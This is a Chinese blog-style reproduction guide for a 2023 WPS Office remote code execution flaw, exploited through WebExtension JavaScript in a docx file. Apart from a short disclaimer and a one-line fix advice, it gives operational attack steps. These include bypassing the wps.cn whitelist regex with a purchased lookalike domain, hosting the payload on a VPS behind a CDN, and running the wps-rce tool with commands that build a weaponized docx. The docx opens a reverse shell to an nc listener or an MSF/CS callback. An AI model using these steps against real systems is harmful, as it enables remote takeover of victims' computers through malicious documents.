【漏洞复现】2023HVV WPS Office 远程代码执行漏洞(RCE)

文章目录


前言

2023HVV期间曝出的WPS Office 存在RCE漏洞,攻击者可通过该漏洞执行任意命令,获取服务器控制权限。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

Office中的WebExtension(通常称为Office插件或Office应用程序) 是一种用于扩展Microsoft Office功能的技术。Office插件使第三方开发者能够在Office应用程序中集成自己的服务和功能。这些插件采用跨平台的Web技术(如HTML,CSS和JavaScript)开发,可以在不同的平台和设备上运行。

简单理解就是Office内置了一个浏览器,可以解析html/javascript/css代码,本次的漏洞,就是WPS在处理WebExtension时,未能正确的处理javascript代码,造成了溢出RCE(可参考之前Chrome被曝出的RCE漏洞、微信Windows版<3.1.2.141存在RCE漏洞,较为类似)


二、影响范围

  • WPS Office 2023个人版 < 11.1.0.15120
  • WPS Office 2019企业版 < 11.8.2.12085

三、漏洞复现

下载漏洞环境包:

https://official-package.wpscdn.cn/wps/download/WPS_Setup_12300.exe

服务端 :绑定域名 clientWeb.docer.wps.cn.****.wps.cn 并开启Web服务,同级目录下有一个html文件;
客户端 :把Payload注入到一个正常的docx文件,如https://clientweb.docer.wps.cn/shell/vpsIP/9000 发送到目标主机,打开docx文件成功反弹Shell;

接下来我们在本地复现,在本地进行复现的时候需要修改hosts文件,hosts改成符合clientweb.docer.wps.cn.{****}.wps.cn 形式,hosts文件目录为C:\windows\System32\drivers\etc

在本次复现中,添加host为127.0.0.1 clientweb.docer.wps.cn.****wps.cn。如下图所示

开启HTTP服务

在POC目录下开启http服务,服务命令:py -3 -m http.server 80

浏览器访问 clientweb.docer.wps.cn.cloudwps.cn

打开poc.docx即可弹出计算器。

除了上述方法复现之外,还可通过脚本进一步对漏洞进行利用

github项目:wps-rce

  • 安装对应依赖
  • 程序需要使用python3.8以上的版本才能够正常运行

pip3 install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

服务端的功能

此处运行main.py时,监听端口为80端口,需要使用root权限。

Python开启Server目录下main脚本服务

  • 默认情况下,为了方便和域名绑定,服务监听端口为80。
  • 如果想使用Nginx/Caddy进行反向代理,可自行修改端口。

    直接访问域名解析的地址,或者VPS的端口
  • 此服务端基于网上公开的POC进行开发,访问对应的地址,可以直接生成对应程序的利用代码。
  • URL对应CS和MSF的Payload列表

    直接使用VPS ip可直接访问到,本地测试并绑定hosts

    访问进行测试

    以上环境以配置完毕,接下来准备Payload进行测试:http://clientweb.docer.wps.cn.lhhwps.cn/calc
    新建一个正常的docx文档

客户端的功能

以上条件都已准备完毕,执行以下命令:
python3 main.py wps0day.docx http://clientweb.docer.wps.cn.lhhwps.cn/calc

然后将生成的新文件下载到本地,双击运行! 成功执行反弹calc。

除了弹calc还可利用反弹Shell

在浏览器上访问该路径,shell后面参数可自行修改,将修改完后的地址在脚本中生成一个新的利用docx文档

将生成的文件下载到本地,双击运行,成功反弹Shell

其他利用方式同理!!!

Tips1:本地测试

  • docx在利用的时候,需要购买***wps.cn的域名,如果没有域名,单纯的进行本地测 试,可以修改电脑的hosts文件,手动绑定域名。
  • 安装wps的有漏洞版本,修改hosts文件。
  • 修改C:\Windows\System32\drivers\etc\hosts文件,添加127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn(注意,此操作是为了方便本地测试,实际利 用时必须购买域名。)
  • 注意,上面添加的hosts文件中,127.0.0.1需要根据实际情况来填,此IP为运行的 server端IP地址。如果server端就运行在本机,可以填127.0.0.1,如果运行在其他Linux 服务器上,需要确认IP地址能否正常访问。
  • 选择服务端payload,是弹计算器、反弹shell、反弹msf还是反弹cs。
  • 如果反弹shell,则生成url, http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000,此处的 1.1.1.1需要修改为运行nc命令的服务器的IP,此处的IP也可以使用域名。9000需要改 为nc监听的端口。(注意,此处的IP和nc是单独的,就是为了接受shell,省事的话,可 以直接用运行服务端的服务器去运行。)
  • 使用客户端命令生成攻击docx文件,python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000
  • 将生成的wps_office_rce_***.docx文件,复制到安装wps的电脑,直接双击打开之前 在客户端中。

Tip2:漏洞利用限制

1、 购买***wps.cn的域名

  • 既然是由WebExtension中的javascript造成的,那么就需要准备对应的html文件, WebExtension支持从第三方网站加载html,所以需要在公网开启web服务,用来共享 html文件。
  • 由于wps的限制,当我们加载第三方网站的html时,wps会进行提醒,大概如下面图片。在WPS中,wps.cn的域名是在白名单中的,只要我们加载的资源在wps.cn的网站中,就 不会有这个提示。但是我们是无法控制wps.cn的。
  • 在WPS中,白名单检测存在漏洞,代码中可能使用了http://.*?.wps.cn的正则匹配, 在这个匹配中,明显存在漏洞,我们只需要把html文件放在http://hackwps.cn的网站 中,就可以绕过检测。
  • 因此,想要利用这个漏洞,必须要购买一个域名,域名中只需要包含wps.cn即可,比如 hackerwps.cnxxxwps.cn

2.、部署html文件到vps上,并且把域名绑定到vps

  • 购买域名和vps后,需要把子域名 clientweb.docer.wps.cn.***wps.cn解析到购买的 vps上,尽量套一层cdn,再使用nginx反向代理到搭建的服务上。(具体域名/vps/cdn可 以自行学习部署。)
  • 这里的子域名,必须为 clientweb.docer.wps.cn.***wps.cn,不然无法过白名单。

四、修复建议

更新至最新版本